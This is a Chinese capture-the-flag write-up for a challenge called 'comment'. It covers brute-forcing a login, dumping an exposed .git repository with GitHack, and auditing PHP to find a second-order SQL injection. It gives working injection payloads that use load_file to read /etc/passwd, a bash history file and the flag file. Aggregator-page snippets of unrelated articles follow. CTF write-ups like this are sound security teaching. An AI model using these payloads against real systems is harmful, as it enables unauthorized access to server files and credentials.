CTF之comment

 网站的登录框里有提示

账号:zhangwei

密码:zhangwei***(后三位要自己猜)

 用burpsuit抓包爆破发现密码为zhangwei666

 

 进去后就一个留言榜(目前没发现怎么用)

 扫一下网站发现git泄露

1.下载

进入root用户,下载克隆git hack库

git clone https://github.com/BugScanTeam/GitHack

下载完成后,进入GitHack,发现5个文件,说明ok了

2.使用

 *****使用GitHack时,一定要在Git Hack目录下*****

 python GitHack.py 链接/.git/

首先看kali中的python版本,GitHack必须使用python2

需要将python该为python2

 python2 GitHack.py 链接/.git/

 出现GitHack,就代表成功了,Githack目录下就会新增一个扫描的文件

然后就是用GitHack下载源码

python2 GitHack.py  http://61.147.171.105:62125/.git/ 

 

 下载的文件会在dist目录下

查看源码,发现好像代码不全

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){header("Location: ./login.php");die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':break;
case 'comment':break;
default:header("Location: ./index.php");
}
}
else{header("Location: ./index.php");
}
?>

 使用命令补全

git log --reflog
git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c

 代码审计

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){header("Location: ./login.php");die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':$category = addslashes($_POST['category']);$title = addslashes($_POST['title']);$content = addslashes($_POST['content']);$sql = "insert into boardset category = '$category',title = '$title',content = '$content'";$result = mysql_query($sql);header("Location: ./index.php");break;
case 'comment':$bo_id = addslashes($_POST['bo_id']);$sql = "select category from board where id='$bo_id'";$result = mysql_query($sql);$num = mysql_num_rows($result);if($num>0){$category = mysql_fetch_array($result)['category'];$content = addslashes($_POST['content']);$sql = "insert into commentset category = '$category',content = '$content',bo_id = '$bo_id'";$result = mysql_query($sql);}header("Location: ./comment.php?id=$bo_id");break;
default:header("Location: ./index.php");
}
}
else{header("Location: ./index.php");
}
?>

发现存在sql二次注入,在代码comment模块中 $category没有进行过滤就直接放入了sql语句中

$category和$content我们可以控制

其中注意这个sql语句是换行的,我们要用/**/ 进行拼接

$sql = "insert into commentset category = '111',content=user(),/*',content = '*/#',bo_id = '$bo_id'";

 在category 构造payload: 111',content=user(),/**

 在详细里我们提交  */# 来闭合,这里得到了用户

 

 同理构造查看密码

111',content=(select(load_file('/etc/passwd'))),/**/#

 构造读取他的history文件,查看历史记录操作

111',content=(select (load_file('/home/www/.bash_history'))),/**/#

 发现原本/tmp/html/目录下有个.DS_Store文件

 构造查看这个文件

111',content=(select (load_file('/tmp/html/.DS_Store'))),/**/#

 发现长度不够

 构造HEX编码

111',content=(select hex(load_file('/tmp/html/.DS_Store'))),/**/#

 发现是16进制编码

 十六进制到ASCII文本

 解码发现flag_8946e1ff1ee3e40f.ph文件

 

 构造查看

111',content=(select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/**/#

 同样解码,发现flag

 $flag="flag{0dd14aae81d94904b3492117e2a3d4df}";

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/615985.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

MySQL数据库:数据库文件路径查询的方法

数据库文件路径查询的方法 如图所示&#xff1a; 打开 MySQL 终端&#xff0c;输入密码后&#xff0c;在输入下面指令即可知道我们数据库文件路径在电脑所在的文件路径。 show variables like %datadir%;

数据结构——基于单链表实现通讯管理系统

文章目录 一、前言SList.hSList.c 二、通讯录的实现通讯录项目Contact.h载入数据初始化通讯录添加通讯录数据通过姓名查找联系人删除通讯录数据展示通讯录数据查找通讯录数据修改通讯录数据保存通讯录销毁通讯录数据 三、所有源代码Contact.hContact.cSList.hSList.ctest.c 一、…

OpenHarmony南向开发案例:【智能门锁】

一. 简介 本demo是基于Openharmony 3.1 Beta本版开发&#xff0c;不仅可以接收数字管家应用下发的指令来控制门锁开启&#xff0c;而且还可以通过数字管家设置不同的开锁密码以及一次性密码&#xff0c;实现给临时用户一个临时密码&#xff0c;保证门户安全。当然除了开锁的功…

2024年公共管理、健康与大数据国际学术会议(ICPAHBD 2024)

2024 International Conference on Public Administration, Health and Big Data (ICPAHBD 2024) ●会议简介 2024年公共管理、健康与大数据国际学术会议&#xff08;ICPAHBD 2024&#xff09;即将在宁波盛大召开。本次会议旨在汇聚全球公共管理、健康与大数据领域的专家学者…

【计算机毕业设计】疫情期间医院门诊管理系统——后附源码

&#x1f389;**欢迎来到我的技术世界&#xff01;**&#x1f389; &#x1f4d8; 博主小档案&#xff1a; 一名来自世界500强的资深程序媛&#xff0c;毕业于国内知名985高校。 &#x1f527; 技术专长&#xff1a; 在深度学习任务中展现出卓越的能力&#xff0c;包括但不限于…

中级物流师、高级物流师资格认证考试大纲《物流管理实务》

物流管理实务 第一章 物流市场调查 一、市场调查基本知识 二、物流市场调研 三、物流市场预测 四、物流市场调研报告 第二章 仓库规划与设计 一、仓储规划概述 二、仓库规模和数量规划 三、仓库选址规划 四、仓库的结构与布局 五、自动化立体仓库的规划与设计 第…

STL库 —— list 的编写

目录 一、成员变量 ​编辑 二、push_back 函数 三、迭代器 iterator 3.1 iterator 结构体 3.2 begin() 与 end() 函数 3.3 iterator 运算符重载 3.4 -> 的重载 3.5 const_iterator 四、测试代码 五、修饰符成员 5.1 insert 函数 5.2 erase 函数 5.3 push 函数…

PE文件的分析和构造超详细过程

本文详细讲述如何从0构造一个PE文件&#xff0c;运行该文件会弹出一个HelloPE的窗口 目录 预备知识 1. 构造DOS头IMAGE_DOS_HEADER 1.1 构造DOS_MZ头 1.2 构造DOS_STUB 2、构造PE头IMAGE_NT_HEADERS 248字节 2.1 signature 2.2 IMAGE_FILE_HEADER 2.3 IMAGE_OPTI…

iOS开发之为什么需要引用计数

iOS开发之为什么需要引用计数 在iOS开发中&#xff0c;Objective-C与Swift语言都是通过引用计数进行内存管理&#xff0c;实际上Python、Ruby、C等语言也提供了基于引用计数的内存管理方式&#xff0c;它们有一个共同点&#xff0c;那就是都是面向对象的编程语言。 引用计数可…

LeetCode-72. 编辑距离【字符串 动态规划】

LeetCode-72. 编辑距离【字符串 动态规划】 题目描述&#xff1a;解题思路一&#xff1a;动规五部曲解题思路二&#xff1a;动态规划【版本二】解题思路三&#xff1a;0 题目描述&#xff1a; 给你两个单词 word1 和 word2&#xff0c; 请返回将 word1 转换成 word2 所使用的最…

java项目之校园兼职系统(ssm框架+mysql数据库+文档)

项目简介 校园兼职系统的主要使用者分为&#xff1a;管理员&#xff1a;首页、个人中心、专业管理、商家管理、热门兼职管理、学生管理、兼职接单管理、学生咨询管理、兼职任务管理、完成评价管理、管理员管理、系统管理等模块信息的查看及相应操作&#xff1b;学生&#xff1…